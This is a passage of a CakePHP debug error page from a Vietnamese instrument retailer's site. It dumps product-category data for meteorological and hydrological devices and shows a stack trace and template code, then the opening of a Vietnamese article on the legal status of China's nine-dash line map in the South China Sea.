=> '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '51', 'name' => 'Nhiệt ký tự ghi 525S', 'parent_id' => '2', 'alias' => 'nhiẹt-ký-tụ-ghi-525s', 'images' => '2019070211085423ef43a8ba7034f8b17f26f28a9a3792.png', 'lft' => '30', 'rght' => '31', 'pos' => '2', 'status' => '1', 'title_seo' => 'Nhiệt ký tự ghi 525S', 'meta_key' => '', 'meta_des' => 'Model 525S Nhiệt ký Fischer, model 525S do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục giá trị nhiệt độ không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu. Máy nhiệt ký 525S được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng. Đặc tính kỹ thuật - Kiểu bộ cảm ứng: Lưỡng kim - Giải đo: Từ -15oC đến +65oC - Độ chính xác: ±0.5oC - Độ phân giải: 1oC - Kích thước: 290(R) x 145(S) x 190(C) mm ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'nhie-t-ky-tu-ghi-525s', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '52', 'name' => 'Áp ký tự ghi 225', 'parent_id' => '2', 'alias' => 'áp-ký-tụ-ghi-225', 'images' => '2019070211103556032ed73bc73e646d09179b2face0ee.png', 'lft' => '32', 'rght' => '33', 'pos' => '3', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Model 225 Áp ký Fischer, model 225 do hãng Fischer (Germany) sản xuất, là loại máy tự ghi cơ học, được dùng để ghi liên tục sự biến đổi áp suất không khí với độ chính xác cao. Máy được sản xuất từ các vật liệu chống lại sự ăn mòn của môi trường nên nó có thời gian làm việc rất lâu. Máy áp ký 225 được trang bị một đồng hồ cơ có thể thay đổi tốc độ quay theo Ngày, Tuần hoặc Tháng. Đặc tính kỹ thuật - Kiểu bộ cảm ứng: Chồng hộp Aneroid - Giải đo: Từ 955 đến 1055 hPa (hoặc tùy chọn) - Độ chính xác: ±0.7 hPa - Độ phân giải: 1 hPa - Kích thước: 290(R) x 145(S) x 190(C) mm - Trọng lượng: 2.5 kg ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'a-p-ky-tu-ghi-225', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '53', 'name' => 'Máy đo gió EL', 'parent_id' => '2', 'alias' => 'máy-do-gió-el', 'images' => '20190702112336d58b0b5c56b53be76e8104175a15ff97.png', 'lft' => '34', 'rght' => '35', 'pos' => '4', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => ' Máy đo gió model EL là loại máy đo gió điện tự báo dùng để đo tốc độ gió và hướng gió tức thời từ xa do nhà máy thiết bị khí tượng Thượng Hải – Trung Quốc sản xuất. Máy đo gió EL gồm 2 bộ phận chính: Bộ phận cảm ứng đặt ngoài trời và bộ phận chỉ thị đặt trong nhà. Hai bộ phận này được nối với nhau bằng một dây cáp điện nhiều sợi. Bộ phận cảm ứng tốc độ gió là một chong chóng kiểu gáo. Bộ phận cảm ứng hướng gió là một phong tiêu. Hai bộ phận này được thiết kế gắn liền nhau. Bộ phận chỉ thị có 2 đồng hồ. Đồng hồ bên trái chỉ thị tốc độ gió, đồng hồ bên phải chỉ thị hướng gió. Trên mặt đồng hồ chỉ tốc độ, hai thang độ mầu đỏ bên ngoài chỉ tốc độ gió bằng cấp Beaufort. Hai thang độ bên trong chỉ tốc độ gió bằng m/s. Một thang độ từ 0 – 20 m/s và một thang độ từ 0 – 40 m/s. Trên mặt đồng hồ chỉ hướng gió có 16 hướng và báo bằng đèn chỉ thị. Đặc tính kỹ thuật - Giải đo tốc độ: 2 – 40 m/s - Giải đo hướng: 16 hướng - Tốc độ khởi động: ≥ 1,5 m/s - Độ chính xác đo tốc độ: ±(0,5 + 0,05V) m/s - Độ chính xác đo hướng gió: ±11,15o - Nguồn điện: 220VAC, 12 VDC ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'ma-y-do-gio-el', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '54', 'name' => 'Vũ lượng ký chao lật SL3-1', 'parent_id' => '2', 'alias' => 'vũ-luọng-ký-chao-lạt-sl3-1', 'images' => '2019070211520866c4403e2b0403ad0c222c8e1226510c.png', 'lft' => '36', 'rght' => '37', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Vũ lượng ký chao lật SL3-1 Sản xuất tại : Thượng Hải-Trung Quốc Nguyên lý hoạt động: chao lật * Miệng hứng 200cm2 * Dải đo : 0,1- 4mm/phút * Độ chính xác: ±0,4mm(≤ 10mm ) * Khung máy bằng thép * Vỏ máy bằng inox * Điện nguồn 220V AC/50Hz hoặc 12VDC Thiết bị bao gồm : * Bộ cảm ứng * Đầu đo mưa SL3-1 vật liệu Inox * Bộ tự ghi tự báo và cáp số liệu 100m. * Phụ kiện thay thế và tài liệu kỹ thuật * Giản đồ sử dụng cho 1 năm * Chân đế lắp đặt máy ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'vu-luo-ng-ky-chao-la-t-sl3-1', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '55', 'name' => 'Nhật Quang ký CamBell Stokes', 'parent_id' => '2', 'alias' => 'nhạt-quang-ký-cambell-stokes', 'images' => '2019070211564976eeed280f64fd4a67c3f0fd6b9f0ada.png', 'lft' => '38', 'rght' => '39', 'pos' => '6', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Máy ghi thời gian nắng Máy ghi thời gian nắng model 1603 kiểu Campbell Stokes do hãng Lambrecht – Germany sản xuất. Đây là thiết bị tự ghi loại cơ học, dùng để ghi liên tục thời gian nắng trong ngày. Máy được thiết kế chắc chắn, dễ lắp đặt, dễ sử dụng và hầu như không cần phải chăm sóc, bảo dưỡng, ngoài việc lau bụi. Máy sử dụng nguyên lý hội tụ ánh sáng mặt trời để đốt cháy giản đồ thành vết theo thời gian có nắng. Đặc tính kỹ thuật Phần tử đo: Quả cầu thủy tinh Dùng cho các vĩ độ từ 0ođến 40ocả Bắc và Nam bán cầu. Trọng lượng: 5.7 kg Giản đồ kèm theo: 380 tờ (140 tờ cho mùa Đông, 140 tờ cho mùa Hè và 100 tờ cho mùa Thu và mùa Xuân) ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'nha-t-quang-ky-cambell-stokes', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Catproduct' => array( 'id' => '56', 'name' => 'Máy đo độ mặn YSI -30', 'parent_id' => '2', 'alias' => 'máy-do-dọ-mạn-ysi-30', 'images' => '20190702115840249de45b2f39b6a48cdc586688773b3e.png', 'lft' => '40', 'rght' => '41', 'pos' => '7', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => 'Xuất xứ: Mỹ * Dải đo: + Độ muối: 0 - 80 ppt + Độ dẫn: 0mS - 200mS + Nhiệt độ: -5 - + 95oC + TDS: 0 đến 100g/l * Độ chính xác: + Độ muối: 0.1 ppt + Độ dẫn: +/- 0.5% toàn dải + Nhiệt độ: +0.1oC * Bao gồm: Máy chính, đầu dò + cáp dài 3m, ', 'created' => '2019-07-02', 'modified' => '2019-07-02', 'slug' => 'ma-y-do-do-ma-n-ysi-30', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Catproduct' => array( 'id' => '48', 'name' => 'Áp kế hộp hiện số', 'parent_id' => '2', 'alias' => 'ap-ke-hop-hien-so', 'images' => '2019070207393144f2378f4b0651daf2cb4fa277e4695e.jpg', 'lft' => '26', 'rght' => '27', 'pos' => '8', 'status' => '1', 'title_seo' => 'Máy đo gió', 'meta_key' => '', 'meta_des' => 'Model PTB330', 'created' => '2019-07-02', 'modified' => '2019-07-04', 'slug' => 'ap-ke-hop-hien-so', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Catproduct' => array( 'id' => '57', 'name' => 'Máy đo tốc độ và hướng gió', 'parent_id' => '2', 'alias' => 'máy-do-tóc-dọ-và-huóng-gio', 'images' => '2019070402434746227ca5c688200b321f5a8b74982c41.png', 'lft' => '42', 'rght' => '43', 'pos' => '9', 'status' => '1', 'title_seo' => 'Máy đo tốc độ và hướng gió', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'ma-y-do-to-c-do-va-huo-ng-gio', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Catproduct' => array( 'id' => '58', 'name' => 'Máy tự ghi, tự báo mực nước', 'parent_id' => '2', 'alias' => 'máy-tụ-ghi-tụ-báo-mục-nuóc', 'images' => '20190704024855debca9dbc88ddc0c6108e7e1bbabcc12.png', 'lft' => '44', 'rght' => '45', 'pos' => '10', 'status' => '1', 'title_seo' => 'Máy tự ghi, tự báo mực nước', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'ma-y-tu-ghi-tu-ba-o-mu-c-nuo-c', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 10 => array( 'Catproduct' => array( 'id' => '59', 'name' => 'Máy lưu tốc kế LS68 + chuông', 'parent_id' => '2', 'alias' => 'may-luu-toc-ke-ls68-chuong', 'images' => '201907040253294baefbf059489b4794a34aee2c9e3fbd.png', 'lft' => '46', 'rght' => '47', 'pos' => '11', 'status' => '1', 'title_seo' => 'Máy lưu tốc kế LS68 + chuông', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'may-luu-toc-ke-ls68-chuong', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 11 => array( 'Catproduct' => array( 'id' => '60', 'name' => 'Máy đo mực nước Stevens', 'parent_id' => '2', 'alias' => 'máy-do-mục-nuóc-stevens', 'images' => '201907040254500acecb86d3b3fab2fea045403bedfb1f.png', 'lft' => '48', 'rght' => '49', 'pos' => '12', 'status' => '1', 'title_seo' => 'Máy đo mực nước Stevens', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'ma-y-do-mu-c-nuo-c-stevens', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 12 => array( 'Catproduct' => array( 'id' => '61', 'name' => 'Nhiệt kế cong SavinopWQG-16(T.Q)', 'parent_id' => '2', 'alias' => 'nhiet-ke-cong-savinopwqg-16-t-q', 'images' => '201907040255588263b1a656f8075154d99a42ee877872.png', 'lft' => '50', 'rght' => '51', 'pos' => '13', 'status' => '1', 'title_seo' => 'Nhiệt kế cong ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'nhiet-ke-cong-savinopwqg-16-t-q', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 13 => array( 'Catproduct' => array( 'id' => '62', 'name' => 'Bộ ẩm biểu lều', 'parent_id' => '2', 'alias' => 'bo-am-bieu-leu', 'images' => '20190704025648375115691c98b7200afab84e7d0250cb.png', 'lft' => '52', 'rght' => '53', 'pos' => '14', 'status' => '1', 'title_seo' => 'Bộ ẩm biểu lều', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'bo-am-bieu-leu', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 14 => array( 'Catproduct' => array( 'id' => '63', 'name' => 'Nhiệt kế nước WQG -14(T.Q)', 'parent_id' => '2', 'alias' => 'nhiet-ke-nuoc-wqg-14-t-q', 'images' => '20190704025730f1017c1c7ca672a0b82961a6d2c5bab8.png', 'lft' => '54', 'rght' => '55', 'pos' => '15', 'status' => '1', 'title_seo' => 'Nhiệt kế nước ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'nhiet-ke-nuoc-wqg-14-t-q', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 15 => array( 'Catproduct' => array( 'id' => '64', 'name' => 'Nhiệt biểu nước ', 'parent_id' => '2', 'alias' => 'nhiet-bieu-nuoc', 'images' => '20190704025757b88f868b4fbad212e795bc0f88d414a0.png', 'lft' => '56', 'rght' => '57', 'pos' => '16', 'status' => '1', 'title_seo' => 'Nhiệt biểu nước ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'nhiet-bieu-nuoc', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 16 => array( 'Catproduct' => array( 'id' => '65', 'name' => 'Thủy chí tráng men', 'parent_id' => '2', 'alias' => 'thuy-chi-trang-men', 'images' => '2019070402584460e02fd9633a6c2500d5d0fc371f21e0.png', 'lft' => '58', 'rght' => '59', 'pos' => '17', 'status' => '1', 'title_seo' => 'Thủy chí tráng men', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'thuy-chi-trang-men', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 17 => array( 'Catproduct' => array( 'id' => '66', 'name' => 'Bộ Vũ lượng kế', 'parent_id' => '2', 'alias' => 'bo-vu-luong-ke', 'images' => '201907040259161485d37437ef53393ba9ed00d132c8ac.png', 'lft' => '60', 'rght' => '61', 'pos' => '18', 'status' => '1', 'title_seo' => 'Bộ Vũ lượng kế', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-04', 'modified' => '2019-07-04', 'slug' => 'bo-vu-luong-ke', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 18 => array( 'Catproduct' => array( 'id' => '7', 'name' => 'Máy toàn đạc điện tử', 'parent_id' => '2', 'alias' => 'may-toan-dac-dien-tu', 'images' => '201512310222411933736057242698a51c04e3a09f1e5f.png', 'lft' => '4', 'rght' => '5', 'pos' => '19', 'status' => '1', 'title_seo' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội', 'meta_key' => 'Máy toàn đạc, may toan dac, máy toàn đạc điện tử, máy toàn đạc điện tử chính hãng, máy toàn đạc điện tử chính hãng tại hà nội', 'meta_des' => 'Máy Toàn Đạc điện tử chính hãng tại hà nội. Thành Đạt chuyên phân phối máy toàn đạc chính hãng với giá rẻ nhất, chất lượng nhất tại Việt Nam', 'created' => '2015-12-02', 'modified' => '2016-01-06', 'slug' => 'may-toan-dac-dien-tu', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => 'May toan dac dien tu', 'name_tq' => '', 'type' => 'product', 'hot' => '1', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 19 => array( 'Catproduct' => array( 'id' => '67', 'name' => 'Nhiệt kế tối cao WQG-13(TQ)', 'parent_id' => '2', 'alias' => 'nhiet-ke-toi-cao-wqg-13-tq', 'images' => null, 'lft' => '62', 'rght' => '63', 'pos' => '20', 'status' => '1', 'title_seo' => 'Nhiệt kế tối cao', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'nhiet-ke-toi-cao-wqg-13-tq', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 20 => array( 'Catproduct' => array( 'id' => '68', 'name' => 'Nhiệt kế tối thấp WQG-18(TQ)', 'parent_id' => '2', 'alias' => 'nhiet-ke-toi-thap-wqg-18-tq', 'images' => null, 'lft' => '64', 'rght' => '65', 'pos' => '21', 'status' => '1', 'title_seo' => 'Nhiệt kế tối thấp ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'nhiet-ke-toi-thap-wqg-18-tq', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 21 => array( 'Catproduct' => array( 'id' => '69', 'name' => 'Nhiệt kế thường WQG-15(T.Q)', 'parent_id' => '2', 'alias' => 'nhiet-ke-thuong-wqg-15-t-q', 'images' => null, 'lft' => '66', 'rght' => '67', 'pos' => '22', 'status' => '1', 'title_seo' => 'Nhiệt kế thường', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'nhiet-ke-thuong-wqg-15-t-q', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 22 => array( 'Catproduct' => array( 'id' => '70', 'name' => 'Giản đồ Stevens', 'parent_id' => '2', 'alias' => 'gian-do-stevens', 'images' => null, 'lft' => '68', 'rght' => '69', 'pos' => '23', 'status' => '1', 'title_seo' => 'Giản đồ Stevens', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-stevens', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 23 => array( 'Catproduct' => array( 'id' => '71', 'name' => 'Giàn đồ nắng ', 'parent_id' => '2', 'alias' => 'gian-do-nang', 'images' => null, 'lft' => '70', 'rght' => '71', 'pos' => '24', 'status' => '1', 'title_seo' => 'Giàn đồ nắng ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-nang', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 24 => array( 'Catproduct' => array( 'id' => '72', 'name' => 'Giản đồ nhiệt ẩm áp ', 'parent_id' => '2', 'alias' => 'gian-do-nhiet-am-ap', 'images' => null, 'lft' => '72', 'rght' => '73', 'pos' => '25', 'status' => '1', 'title_seo' => 'Giản đồ nhiệt ẩm áp ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-nhiet-am-ap', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 25 => array( 'Catproduct' => array( 'id' => '73', 'name' => 'Giản đồ mưa ', 'parent_id' => '2', 'alias' => 'gian-do-mua', 'images' => null, 'lft' => '74', 'rght' => '75', 'pos' => '26', 'status' => '1', 'title_seo' => 'Giản đồ mưa ', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'gian-do-mua', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 26 => array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) )include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là 